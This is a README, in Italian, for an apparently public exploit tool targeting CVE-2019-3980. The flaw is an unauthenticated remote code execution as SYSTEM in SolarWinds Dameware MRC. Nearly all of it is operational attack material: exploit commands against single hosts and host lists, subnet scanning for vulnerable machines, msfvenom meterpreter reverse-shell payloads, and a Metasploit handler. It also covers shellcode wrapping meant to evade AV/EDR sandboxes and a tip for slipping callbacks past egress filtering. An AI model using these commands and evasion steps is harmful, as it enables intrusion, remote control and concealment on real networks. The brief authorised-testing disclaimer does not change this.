
Python 3 exploit per CVE-2019-3980. RCE non autenticato come SYSTEM tramite bypass dell'autenticazione smart card di SolarWinds Dameware MRC.

RCE non autenticata tramite bypass dell'autenticazione Smart Card in SolarWinds Dameware MRC
CVE-2019-3980 | CVSS 9.8 Critico | TCP/6129
Ricerca originale e POC: Tenable, Inc. (TRA-2019-43)
Strumento Python 3: David Boyd (@Fir3d0g)
Dameware MRC espone un servizio di controllo remoto (DWRCS.exe) su TCP/6129. Durante l'handshake di autenticazione Smart Card, il server accetta un file controllato dall'attaccante come installer del driver Smart Card (dwDrvInst.exe) e lo esegue come , senza richiedere alcuna autenticazione.
DameFlare implementa l'intero handshake del protocollo (negoziazione della versione → derivazione della chiave AES → scambio di chiavi Diffie-Hellman → firma RSA → upload del driver) per consegnare un payload arbitrario e ottenere l'esecuzione di codice remoto non autenticata.
| Prodotto | Vulnerabile | Corretta |
|---|---|---|
| Dameware MRC 12.0.x | Tutte le build | Hotfix 1 |
| Dameware MRC 12.1.x | Tutte le build | Hotfix 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
Rimuovi l'artefatto dwDrvInst.exe dal target dopo lo sfruttamento:
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
Richiede msfvenom nel PATH. Carica un EXE auto-eliminante che rimuove dwDrvInst.exe e se stesso dopo un breve ritardo.
In alternativa, se hai le credenziali, puoi usare qualcosa come NXC:
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
Avvolgi lo shellcode grezzo con chiavi ambientali per eludere l'analisi sandbox di AV/EDR. Il payload verrà decrittato ed eseguito solo su una macchina in cui le chiavi corrispondono. Un enorme ringraziamento a Kevin Clark (@GuhnooPlusLinux) per il suo fantastico lavoro!
# Key su dominio e hostname (usa nomi brevi, non FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# Key solo su dominio
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# Solo chiave statica (utile per i test)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# Metodi di injection alternativi se srdi-shellcode viene rilevato
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
Nota: Il nome del payload deve corrispondere esattamente tra msfvenom e l'handler:
- Stageless:
windows/x64/meterpreter_reverse_https(trattino basso)- Staged:
windows/x64/meterpreter/reverse_https(barra)
Suggerimento: Negli ambienti Dameware, la porta
6129è spesso consentita in uscita e si confonde con il traffico legittimo DWRCS. Se443è bloccata o ispezionata da un proxy, provaLPORT=6129poiché la rete di destinazione è probabilmente progettata per consentirla.
Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e operazioni red team. L'autore non si assume alcuna responsabilità per usi non autorizzati o illeciti.